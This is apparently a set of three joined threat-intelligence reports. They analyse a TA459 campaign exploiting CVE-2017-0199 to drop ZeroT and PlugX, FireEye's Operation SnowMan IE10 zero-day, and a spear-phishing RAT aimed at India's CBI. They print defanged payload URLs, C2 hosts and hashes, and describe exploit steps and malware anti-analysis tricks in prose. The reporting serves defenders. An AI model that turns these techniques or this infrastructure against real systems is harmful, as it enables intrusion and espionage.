Figure 1: Microsoft Word document 0721.doc The document uses the logic flaw to first download the file power.rtf from hxxp://122.9.52[.
]215/news/power.rtf.
The payload is actually an HTML Application (HTA) file, not an RTF document.
1/7 https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia https://www.proofpoint.com/us/threat-insight/post/dridex-campaigns-millions-recipients-unpatched-microsoft-zero-day https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx Figure 2: The first script downloaded by the exploit document is an HTA file As shown in the figure above, the HTAs VBScript changes the window size and location and then uses PowerShell to download yet another script: power.ps1.
This is a PowerShell script that downloads and runs the ZeroT payload cgi.exe.
Figure 3: The second script downloaded by the exploit document is a PowerShell script Figure 4: Combined network traffic showing the document downloading its payloads ZeroT and other payloads The attack group has made incremental changes to ZeroT since our last analysis.
While they still use RAR SFX format for the initial payloads, ZeroT now uses a the legitimate McAfee utility (SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe) named mcut.exe instead of the Norman Safeground AS for sideloading as they have in the past.
The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously.
Once ZeroT is running, we observed that the fake User-Agent used in the requests changed from Mozilla/6.0 (compatible MSIE 10.0 Windows NT 6.2 Tzcdrnt/6.0) to Mozilla/6.0 (compatible MSIE 11.0 Windows NT 6.2), thus removing the Tzcdrnt typo observed in previous versions.
The initial beacon to index.php changed to index.txt but ZeroT still expects an RC4-encrypted response using a static key: (GF(9042.
2/7 Figure 5: ZeroT initial beacon over HTTP requesting URL configuration Next, ZeroT uses HTTP beacons to transmit information about the infected system to the command and control (CC).
All posts are encrypted, unlike the last time we analyzed a sample from this actor, when the first POST was accidentally not encrypted.
After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads.
These images appear normal in image viewers.
Figure 6: Collage of example BMP images containing stage 2 payloads hidden using LSB steganography The stage 2 payload was PlugX that beaconed to CC servers www[.]icefirebest[.
]com and www[.]icekkk[.
]net.
3/7 https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx Figure 7: ZeroT and PlugX HTTP network activity Additional 2017 activity by TA459 Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware payloads.
ZeroT remained the primary stage 1 payload, but the stage 2 payloads varied.
One such interesting example was   .rar (SHA256 b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda).
Translated from Russian, this file is named PROJECT REALIZATION PLAN and contains a compressed .scr executable.
This ZeroT executable communicated with the CC domain www[.]kz-info[.
]net and downloaded PlugX as well as an additional PCRat/Gh0st Trojan which communicated with the www[.]ruvim[.
]net CC server.
PCRat/Gh0st is a payload that we do not see this group using frequently.
Another interesting ZeroT sample (SHA256 bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374) contained the executable 0228.exe and a decoy document 0228.doc in the RAR SFX archive.
Bundling decoy documents is a common tactic by this group.
RAR SFX directives are used to display the decoy while the malicious payload is executed.
We suspect that this specific lure was copied from the news article hxxp://www.cis.minsk[.
]by/news.php?id7557.
This article was about 73-    , translated from Russian as 73rd meeting of the CIS Economic Council, which describes a meeting held in Moscow by the Commonwealth of Independent States (CIS) countries, an organization that includes nine out of the fifteen former Soviet Republics.
4/7 Figure 8: Decoy document Figure 9: The believed source of the text in decoy document Conclusion TA459 is well-known for targeting organizations in Russia and neighboring countries.
However, their strategy, tactics, techniques, and procedures in this particular attack emphasize the importance of rigorous patching regimens for all organizations.
Even as software vulnerabilities often take a back seat to human exploits and social 5/7 engineering, robust defenses must include protection at the email gateway, proactive patch management, and thoughtful end user education.
Paying attention to the details of past attacks is also an important means of preparing for future attacks.
Noting who is targeted, with what malware, and with what types of lures provide clues with which organizations can improve their security posture.
At the same time, multinational organizations like the financial services firms targeted here must be acutely aware of the threats from state-sponsored actors working with sophisticated malware to compromise users and networks.
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats, phishing campaigns, and socially engineered threats every day.
References [1]https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia [3]https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests [3]https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx Indicators of Compromise (IOCs) IOC IOC Type Description a64ea888d412fd406392985358a489955b0f7b27da70ff604e827df86d2ca2aa SHA256 0721.doc CVE- 2017-0199 hxxp://122.9.52[.
]215/news/power.rtf URL 0721.doc payload hxxp://122.9.52[.
]215/news/power.ps1 URL 0721.doc payload hxxp://www.firesyst[.
]net/info/net/sports/drag/cgi.exe URL 0721.doc payload bf4b88e42a406aa83def0942207c8358efb880b18928e41d60a2dc59a59973ba SHA256 ZeroT (cgi.exe) www.firesyst[.
]net Hostname ZeroT CC www.icekkk[.
]net Hostname PlugX CC Indicators of Compromise (IOCs) - Related IOC IOC Type Description www.kz-info[.
]net Hostname ZeroT CC www.firesyst[.
]net Hostname ZeroT CC www.buleray[.
]net Hostname ZeroT CC www.intersu[.
]net Hostname ZeroT CC 868ee879ca843349bfa3d200f858654656ec3c8128113813cd7e481a37dcc61a SHA256 ZeroT 6/7 https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx 4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa SHA256 ZeroT 5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf SHA256 ZeroT b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda SHA256 ZeroT ab4cbfb1468dd6b0f09f6e74ac7f0d31a001d396d8d03f01bceb2e7c917cf565 SHA256 ZeroT 79bd109dc7c35f45b781978436a6c2b98a5df659d09dee658c2daa4f1984a04e SHA256 ZeroT www.icekkk[.
]net Hostname PlugX CC www.icefirebest[.
]com Hostname PlugX CC www.ruvim[.
]net Hostname PlugX CC ET and ETPRO Suricata/Snort Coverage 2821028  ETPRO TROJAN APT.ZeroT CnC Beacon HTTP POST 2825365  ETPRO TROJAN APT.ZeroT CnC Beacon Fake User-Agent 2824641  ETPRO TROJAN APT.ZeroT Receiving Config 2810326  ETPRO TROJAN PlugX Related Checkin 2024196  ET WEB_CLIENT HTA File containing Wscript.
Shell Call - Potential Office Exploit Attempt 2024197  ET CURRENT_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in RTF 0-day ) 2016922  ET TROJAN Backdoor family PCRat/Gh0st CnC traffic 2021716  ET TROJAN Backdoor family PCRat/Gh0st CnC traffic (OUTBOUND) 102 7/7 APT Targets Financial Analysts with CVE-2017-0199
Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website On February 11, FireEye identified a zero-day exploit (CVE-2014-0322)  being served up from the U.S. Veterans of Foreign Wars website (vfw[.
]org).
We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend.
Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns (Operation DeputyDog and Operation Ephemeral Hydra).
This blog post examines the vulnerability and associated attacks, which we have dubbed Operation SnowMan.
Exploit/Delivery analysis After compromising the VFW website, the attackers added an iframe into the beginning of the websites HTML code that loads the attackers page in the background.
The attackers HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit.
The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript.
Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.
[REDACTED].com/Data/img/img.html.
Mitigation The exploit targets IE 10 with Adobe Flash.
It aborts exploitation if the user is browsing with a different version of IE or has installed Microsofts Experience Mitigation Toolkit (EMET).
So installing EMET or updating to IE 11 prevents this exploit from functioning.
Vulnerability analysis The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10.
The vulnerability allows the attacker to modify one byte of memory at an arbitrary address.
The attacker uses the vulnerability to do the following: Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR) Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP) http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html EMET detection The attacker uses the Microsoft.
XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL.
Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present.
The exploit proceeds only if this check determines that the EMET DLL is not present.
ASLR bypass Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR.
For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory.
We have discussed this technique and other ASLR bypass approaches in our blog.
One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit.
Code execution Once the attackers code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code.
The attacker then overwrites the vftable pointer of a flash.
Media.
Sound() object in memory to point to the pivot and begin ROP.
After successful exploitation, the code repairs the corrupted Flash Vector and flash.
Media.
Sound to continue execution.
Shellcode analysis Subsequently, the malicious Flash code downloads a file containing the dropped malware payload.
The beginning of the file is a JPG image the end of the file (offset 36321) is the payload, encoded with an XOR key of 095.
The attacker appends the payload to the shellcode before pivoting to code control.
Then, when the shellcode is executed, the malware creates files sqlrenew.txt and stream.exe.
The tail of the image file is decoded, and written to these files.
sqlrenew.txt is then executed with the LoadLibraryA Windows API call.
ZxShell payload analysis As documented above, this exploit dropped an XOR (095) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce).
The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11.
This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website.
A possible objective in the SnowMan attack is targeting military service members to steal military intelligence.
In addition to retirees, active military personnel use the VFW website.
It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html Thursday amid a severe winter storm.
The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations.
This particular variant called back to a command and control server located at newss[.]effers[.
]com.
This domain currently resolves to 118.99.60.142.
The domain info[.]flnet[.
]org also resolved to this IP address on 2014-02-12.
Infrastructure analysis The info[.]flnet[.
]org domain overlaps with icybin[.]flnet[.
]org and book[.]flnet[.
]org via the previous resolutions to the following IP addresses: 58.64.200.178 58.64.200.179 103.20.192.4 First Seen Last Seen CnC Domain IP 2013-08-31 2013-08-31 icybin.flnet[.
]org 58.64.200.178 2013-05-02 2013-08-02 info.flnet[.
]org 58.64.200.178 2013-08-02 2013-08-02 book.flnet[.
]org 58.64.200.178 2013-08-10 2013-08-10 info.flnet[.
]org 58.64.200.179 2013-07-15 2013-07-15 icybin.flnet[.
]org 58.64.200.179 2014-01-02 2014-01-02 book.flnet[.
]org 103.20.192.4 2013-12-03 2014-01-02 info.flnet[.
]org 103.20.192.4 We previously observed Gh0stRat samples with the custom packet flag HTTPS calling back to book[.]flnet[.
]org and icybin[.]flnet[.
]org.
The threat actor responsible for Operation DeputyDog also used the HTTPS version of the Gh0st.
We also observed another HTTPS Gh0st variant connecting to a related command and control server at me[.]scieron[.
]com.
MD5 Hash CnC Domain 758886e58f9ea2ff22b57cbbb015166e book.flnet[.
]org 0294f9280491f85d898ebe471f0fb58e icybin.flnet[.
]org 9d20566a327076b7152bbf9ed20292c4 me.scieron[.
]com The me[.]scieron[.
]com domain previously resolved to 58.64.199.22.
The book[.]flnet[.
]org domain also resolved to another IP in the same subnet 58.64.199.0/24.
Specifically, book[.]flnet[.
]org previously resolved to 58.64.199.27.
Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.
]org, ali[.]blankchair[.
]com, and cht[.]blankchair[.
]com.
The domain dll[.]freshdns[.
]org resolved to 58.64.199.25.
Both ali[.]blankchair[.
]com and cht[.]blankchair[.
]com resolved to 58.64.199.22.
First Seen Last Seen CnC Domain IP http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html http://www.emc.com/collateral/hardware/solution-overview/h11146-the-voho-campaign-so.pdf 2012-11-12 2012-11-28 me.scieron[.
]com 58.64.199.22 2012-04-09 2012-10-24 cht.blankchair[.
]com 58.64.199.22 2012-04-09 2012-09-18 ali.blankchair[.
]com 58.64.199.22 2012-11-08 2012-11-25 dll.freshdns[.
]org 58.64.199.25 2012-11-23 2012-11-27 rt.blankchair[.
]com 58.64.199.25 2012-05-29 2012-6-28 book.flnet[.
]org 58.64.199.27 A number of other related domains resolve to these IPs and other IPs also in this /24 subnet.
For the purposes of this blog, weve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns.
You may recall that dll[.]freshdns[.
]org, ali[.]blankchair[.
]com and cht[.]blankchair[.
]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra.
Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFWs website, the DeputyDog, and the Ephemeral Hydra operations.
Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra Links to DeputyDog and Ephemeral Hydra Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include: The use of zero-day exploits to deliver a remote access Trojan (RAT) The use of strategic web compromise as a vector to distribute remote access Trojans The use of a simple single-byte XOR encoded (095) payload obfuscated with a .jpg extension The use of Gh0stRat with the HTTPS packet flag The use of related command-and-control (CnC) infrastructure during the similar time frames We observed many similarities from the exploitation side as well.
At a high level, this attack and the CVE- 2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw.
The code within the Flash files from each attack are extremely similar.
http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html http://www.fireeye.com/blog/wp-content/uploads/2014/02/snowman-graph_thumb.png http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name.
Conclusion These actors have previously targeted a number of different industries, including: U.S. government entities Japanese firms Defense industrial base (DIB) companies Law firms Information technology (IT) companies Mining companies Non-governmental organizations (NGOs) The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term.
This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Research, Vulnerabilities and tagged 0day, zero-day by Darien Kindlund, Dan Caselden, Xiaobo Chen, Ned Moran and Mike Scott.
Bookmark the permalink.
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5/11/2017 Cyber Attack Impersonating Identity of Indian Think Tank to Target Central Bureau of Investigation (CBI) and Possibly Indian Army Officials cysinfo.com /cyber-attack-targeting-cbi-and-possibly-indian-army-officials/ In my previous blog posts I posted details of cyber attacks targeting Indian Ministry of External Affairs  and Indian Navys Warship and Submarine Manufacturer.
This blog post describes another attack campaign where attackers impersonated identity of Indian think tank IDSA (Institute for Defence Studies and Analyses)  and sent out spear-phishing emails to target officials of the Central Bureau of Investigation (CBI) and possibly the officials of Indian Army.
IDSA (Institute for Defence Studies and Analyses)  is an Indian think tank for advanced research in international relations, especially strategic and security issues, and also trains civilian and military officers of the Government of India and deals with objective research and policy relating to all aspects of defense and National security.
The Central Bureau of Investigation (CBI)  is the domestic intelligence and security service of India and serves as the Indias premier investigative and Interpol agency operating under the jurisdiction of the Government of India.
In order to infect the victims, the attackers distributed spear-phishing emails containing malicious excel file which when opened dropped a malware capable of downloading additional components and spying on infected systems.
To distribute the malicious excel file, the attackers registered a domain which impersonated the identity of most influential Indian think tank IDSA (Institute for Defence Studies and Analyses) and used the email id from the impersonating domain to send out the spear-phishing emails to the victims.
Overview of the Malicious Emails In the first wave of attack, The attackers sent out spear-phishing emails containing malicious excel file (Case Detail of Suspected abuser.xls) to an unit of Central Bureau of Investigation (CBI) on February 21st, 2017 and the email was sent from an email id associated with an impersonating domain idsadesk[.
]in.
To lure the victims to open the malicious attachment the email subject relevant to the victims were chosen and to avoid suspicion the email was made to look like it was sent by a person associated with IDSA asking to take action against a pending case as shown in the screen shot below.
1/33 https://cysinfo.com/cyber-attack-targeting-cbi-and-possibly-indian-army-officials/ https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ https://en.wikipedia.org/wiki/Institute_for_Defence_Studies_and_Analyses https://en.wikipedia.org/wiki/Institute_for_Defence_Studies_and_Analyses https://en.wikipedia.org/wiki/Central_Bureau_of_Investigation https://en.wikipedia.org/wiki/Institute_for_Defence_Studies_and_Analyses In the second wave of attack, a spear-phishing email containing a different malicious excel file (Contact List of attendees.xls) was sent to an email id on the same day February 21st, 2017.
The email was made to look like a person associated with IDSA is asking to confirm the phone number of an attendee in the attendee list.
When the victim opens the attached excel file it drops the malware and displays a decoy excel sheet containing the list of names, which seems be the names of senior army officers.
Even though the identity of the recipient email could not be fully verified as this email id is nowhere available on the internet but based on the format of the recipient email id and from the list of attendees that is displayed to the victim in the decoy excel file, the recipient email could be possibly be associated with either the Indian Army or a Government entity.
This suggests that attackers had prior knowledge of the recipient email id through other means.
In both the cases when the victims opens the attached malicious excel file the same malware sample was dropped and executed on the victims system.
From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the systems and to spy on the victims.
Anti-Analysis Techniques in the Malicious Excel File When the victim opens the attached excel file it prompts the user to enable macro content as shown in the below 2/33 https://cysinfo.com/wp-content/uploads/2017/05/1.png https://cysinfo.com/wp-content/uploads/2017/05/2.png screen shot.
To prevent viewing of the macro code and to make manual analysis harder attackers password protected the macro content as show below.
Even though the macro is password protected, It is possible to extract macro code using analysis tools like oletools.
In this case oletools was used to extract the macro content but it turns out that the oletools was able to extract only partial macro content but it failed to extract the malicious content present inside a Textbox within the Userform.
Below screen shot shows the macro content extracted by the oletools.
3/33 https://cysinfo.com/wp-content/uploads/2017/05/3.png https://cysinfo.com/wp-content/uploads/2017/05/4.png https://www.decalage.info/python/oletools This extracted macro content was copied to new excel workbook and the environment was setup to debug the macro code.
Debugging the macro code failed because the macro code accesses the textbox content within the UserForm (which oletools failed to extract).
The technique of storing the malicious content inside the TextBox within the UserForm allowed the attackers to bypass analysis tools.
Below screen shot shows the macro code accessing the content from the TextBox and the error triggered by the code due to the absence of the TextBox content.
To bypass the anti-analysis technique and to extract the content stored in the TextBox within the UserForm the password protection was bypassed which allowed to extract the content stored within the UserForm.
Below screen shot shows the TextBox content stored within the UserForm.
4/33 https://cysinfo.com/wp-content/uploads/2017/05/5.png https://cysinfo.com/wp-content/uploads/2017/05/6.png At this point all the components (macro code and the UserForm content) required for analysis was extracted and an environment similar to the original excel file was created to debug the malicious macro.
Below screen shots show the new excel file containing extracted macro code and the UserForm content.
Analysis of Malicious Excel File When the victim opens the excel file and enables the macro content, The malicious macro code within the excel file is executed.
The macro code first generates a random filename as shown in the below screen shot.
5/33 https://cysinfo.com/wp-content/uploads/2017/05/7.png https://cysinfo.com/wp-content/uploads/2017/05/8a.png https://cysinfo.com/wp-content/uploads/2017/05/8b.png It then reads the executable content stored in the TextBox within the UserForm and then writes the executable content to the randomly generate filename in the AppData directory.
The executable is written in .NET framework The content stored in the TexBox within the UserForm is an executable content in the decimal format.
Below screen shot shows converted data from decimal to text.
In this case the attackers used the TextBox within the UserForm to store the malicious executable content.
6/33 https://cysinfo.com/wp-content/uploads/2017/05/9.png https://cysinfo.com/wp-content/uploads/2017/05/10.png https://cysinfo.com/wp-content/uploads/2017/05/10a.png The dropped file in the AppData directory is then executed as shown in the below screen shot.
7/33 https://cysinfo.com/wp-content/uploads/2017/05/11.png Once the dropped file is executed it copies itself into AppData\SQLite directory as SQLite.exe and executes as shown below.
As a result of executing SQLite.exe it makes a HTTP connection to the C2 server (qhavcloud[.
]com).
The C2 communication shown below contains a hard coded user-agent and the double slash (//) in the GET request this can be used to create network based signatures.
8/33 https://cysinfo.com/wp-content/uploads/2017/05/12.png https://cysinfo.com/wp-content/uploads/2017/05/13.png https://cysinfo.com/wp-content/uploads/2017/05/14-1.png Reverse Engineering the Dropped File (SQLite.exe) The dynamic/sandbox analysis did not reveal much about the functionality of the malware, in order to understand the capabilities of the malware, the sample had be reverse engineered.
The malware sample was reverse engineered in an isolated environment (without actually allowing it to connect to the c2 server).This section contains reverse engineering details of this malware and its various features.
a) Malware Validates C2 Connection Malware checks if the executable is running as SQLite.exe from AppData\SQLite directory, if not it copies itself as SQLite.exe to AppData\SQLite directory as shown below.
It then launches the executable (SQLite.exe) with the command line arguments as shown in the below screen shots.
Malware performs multiple checks to make sure that it is connecting to the correct C2 server before doing anything malicious.
first its pings the C2 domain qhavcloud[.
]com.
Below screen shots show the ping to the C2 server.
9/33 https://cysinfo.com/wp-content/uploads/2017/05/15.png https://cysinfo.com/wp-content/uploads/2017/05/16a.png https://cysinfo.com/wp-content/uploads/2017/05/16b.png If the ping succeeds then it determines if C2 server is alive by sending an HTTP request, it then reads the content from the C2 server and looks for a specific string Connection.
If it does not find the string Connection it assumes that C2 is not alive or it is connecting to the wrong C2 server.
This technique allows the attackers to validate if they are connecting to the correct C2 server and also this technique does not reveal any malicious behavior in dynamic/sandbox analysis until the correct response is given to the malware.
Below screen shots show the code that is performing the C2 connection and the validation.
If the ping does not succeed or if the C2 response does not contain the string Connection then the malware gets 10/33 https://cysinfo.com/wp-content/uploads/2017/05/17a.png https://cysinfo.com/wp-content/uploads/2017/05/17b.png https://cysinfo.com/wp-content/uploads/2017/05/18a.png https://cysinfo.com/wp-content/uploads/2017/05/18b.png the list of backup C2 servers to connect by downloading a text file from the Google drive link.
This technique of storing a text file containing the list of backup C2 servers on the legitimate site has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices.
Below screen shots show the code that downloads the text file and text file (info.txt) saved on the disk.
During the time of analysis the text file downloaded from the Google drive link was populated with two private IP addresses, it looks like the attackers deliberately populated the IP addresses with two private IP addresses to prevent the researchers from determining actual IP/domain names of the backup C2 servers.
Below screen shot shows the IP addresses in the text file.
Once the text file is downloaded the malware reads each and every IP address from the text file and performs the same C2 validation check (ping and checks for the string Connection from the C2 response).
Below screen shot shows the HTTP connection made to those IP addresses.
11/33 https://cysinfo.com/wp-content/uploads/2017/05/19a.png https://cysinfo.com/wp-content/uploads/2017/05/19b.png https://cysinfo.com/wp-content/uploads/2017/05/20.png https://cysinfo.com/wp-content/uploads/2017/05/21a.png b) Malware Sends System Information Based on the analysis it was determined that the malware looks for a string Connection in the C2 response, so the analysis environment was configured to respond with a string Connection whenever the malware made a C2 connection.
Below screen shot shows the C2 communication made by the malware and the expected response.
Once the malware validates the C2 connection then the malware creates an XML file (SQLite.xml) inside which it stores the user name and the password to communicate with the C2 server.
Malware generates the user name to communicate with the C2 by concatenating a) the machine name, b) a random number between 1000 to 9999 and c) the product version of the file.
Below screen shot shows the code that generates the user name Malware generates the password to communicate with the C2 by building an array of 16 random bytes, these random bytes are then encoded using base64 encoding algorithm and malware then replaces the characters  and 12/33 https://cysinfo.com/wp-content/uploads/2017/05/21b.png https://cysinfo.com/wp-content/uploads/2017/05/22.png https://cysinfo.com/wp-content/uploads/2017/05/23-1.png / with - and  _ respectively from the encoded data.
The attackers use the technique of replacing the standard characters with custom characters to makes it difficult to decode the string (containing the characters  and /) using standard base64 algorithm.
Below screen shot shows the code that generates the password.
Once the user name and password is generated, malware then creates an XML file (SQLITE.xml) and populates the XML file with the generated user name and password.
Below screen shot shows the code that creates the XML file Below screen shot shows the XML file populated with the user name and the password which is used by the malware to communicate with the C2 server.
The malware then collects system information like the computer name, operating system caption, IP address of the infected system, product version of the executable file and sends it to the C2 server along with the generated user 13/33 https://cysinfo.com/wp-content/uploads/2017/05/24.png https://cysinfo.com/wp-content/uploads/2017/05/25.png https://cysinfo.com/wp-content/uploads/2017/05/26.png name and password using a POST request to postdata.php.
Below screen shots show the code that collects the system information and the data that is sent to the attacker.
c) Malware Sends Process Information Malware then enumerates the list of all the processes running on the system and sends it to the C2 server along with the user name and password using a POST request to JobProcesses.php as shown in the below screen shots.
This allows the attackers to know which programs are running on the system or if any analysis tools are used to inspect the malware.
14/33 https://cysinfo.com/wp-content/uploads/2017/05/27a.png https://cysinfo.com/wp-content/uploads/2017/05/27b-1.png https://cysinfo.com/wp-content/uploads/2017/05/28a.png Malware Functionalities Apart from sending the system information and process information to the C2 server, the malware also has the capability to perform various other tasks by taking command from the C2.
This section focuses on different functionalities of the malware a) Download  Execute Functionality 1 Malware triggers the download functionality by connecting to the C2 server and making a request to either Jobwork1.php or Jobwork2.php, if the C2 response satisfies the condition then it downloads  executes the file.
After understanding the logic (logic is mentioned below)  to satisfy the condition the environment was configured to give proper response whenever the malware made a request to Jobwork1.php or Jobwork2.php.
Below screen shot shows the response given to the malware.
15/33 https://cysinfo.com/wp-content/uploads/2017/05/28b.png https://cysinfo.com/wp-content/uploads/2017/05/28c.png Malware then reads the response successfully as shown in the below screen shot.
from the C2 response it extracts two things a) URL to download an executable file  and b) the command string that will trigger the download functionality From the C2 response the URL is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string (URL) to extract by finding the start offset of the string clientpermission once it finds it, its offset value is subtracted with 17.
The command string to trigger the download functionality is extracted from the C2 response using the logic shown below.
Below screen shot shows the logic used to extract the URL and the command strings, in the below screen shot the extracted command string is stored in the variable ServerTask1Permission.
16/33 https://cysinfo.com/wp-content/uploads/2017/05/29.png https://cysinfo.com/wp-content/uploads/2017/05/30.png Once the URL and command string is extracted, the malware compares the command string with the string Pending, only if the command string matches with string Pending the download functionality is triggered.
When all the above mentioned conditions are satisfied the malware downloads the executable from the URL extracted from the C2 response.
Below screen shot shows the URL extracted from the C2 response.
Note: In the below screen shot the URL (hxxp://c2xy.com/a.exe) is not the actual URL used by the malware for downloading the file, this is a test URL used to determine the functionality, so this URL should not used as an indicator.
Below screen shot shows the network traffic of malware trying to download the executable file from the extracted URL.
17/33 https://cysinfo.com/wp-content/uploads/2017/05/31.png https://cysinfo.com/wp-content/uploads/2017/05/32.png https://cysinfo.com/wp-content/uploads/2017/05/33.png https://cysinfo.com/wp-content/uploads/2017/05/34a.png The downloaded executable is saved in the AppData\SQLite directory as shown in the below screen shot.
The downloaded file is then executed by the malware as shown in the below screen shot.
Once the downloaded file is executed the malware reports that the download  execute was successful by making a POST request to JobDone.php as shown in the below screen shots 18/33 https://cysinfo.com/wp-content/uploads/2017/05/34b.png https://cysinfo.com/wp-content/uploads/2017/05/35.png https://cysinfo.com/wp-content/uploads/2017/05/36.png This functionality allows the attacker to change their hosting site (from where the malware will be downloaded), this can be achieved by changing the C2 response containing different URL.
b) Download  Execute Functionality 2 Malware also supports second type of download functionality,instead of extracting the URL from the C2 response and downloading the executable, it gets executable content from the networks stream from a hard coded IP address and then writes it to the disk and executes it.
This functionality is triggered by making a request to either JobTcp1.php or JobTcp2.php,  if the C2 response satisfies the condition then it gets the executable content from a hard coded IP address.
After understanding the logic  to satisfy the condition the environment was configured to give proper response when the malware made a request to JobTcp1.php or JobTcp2.php.
Below screen shot shows the response given to the malware.
19/33 https://cysinfo.com/wp-content/uploads/2017/05/37a.png https://cysinfo.com/wp-content/uploads/2017/05/37b.png https://cysinfo.com/wp-content/uploads/2017/05/38.png Malware then reads the c2 response and from the C2 response it extracts two things a) filename and b) the command string that will trigger the download functionality.
From the C2 response the filename is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string to extract by finding the start offset of the string clientpermission once it finds it, its offset value is subtracted with 17.
The command string to trigger the download functionality is extracted from the C2 response using the logic shown below.
Below screen shot shows the logic used to extract the filename and the command string, in the below screen shot the extracted command string is stored in the variable ServerTask1Permission.
Once the filename and command string is extracted, the malware compares the command string with the string Pending, if the command string matches with string Pending then the extracted filename (in this case the extracted filename is testfile) from the C2 response is concatenated with .exe as shown below.
20/33 https://cysinfo.com/wp-content/uploads/2017/05/39.png https://cysinfo.com/wp-content/uploads/2017/05/40a.png It then connects to the hard coded IP 91[.]205[.]173[.
]3 on port 6134, and it sends the concatenated filename (testfile.exe) as shown below.
The IP address after verifying the filename then returns the executable content which malware reads directly from the network stream and writes to the disk in the Appdata\SQLIte directory as shown below.
21/33 https://cysinfo.com/wp-content/uploads/2017/05/40b.png https://cysinfo.com/wp-content/uploads/2017/05/41a.png https://cysinfo.com/wp-content/uploads/2017/05/41b.png The dropped file is then executed as shown in the below screen shot.
c) Update Functionality Malware has the capability to update itself this is done by making a request to updateproductdownload.php, if C2 response satisfies the condition then it downloads the updated executable from an URL.
After understanding the logic  to satisfy the condition the environment was configured to give proper response.
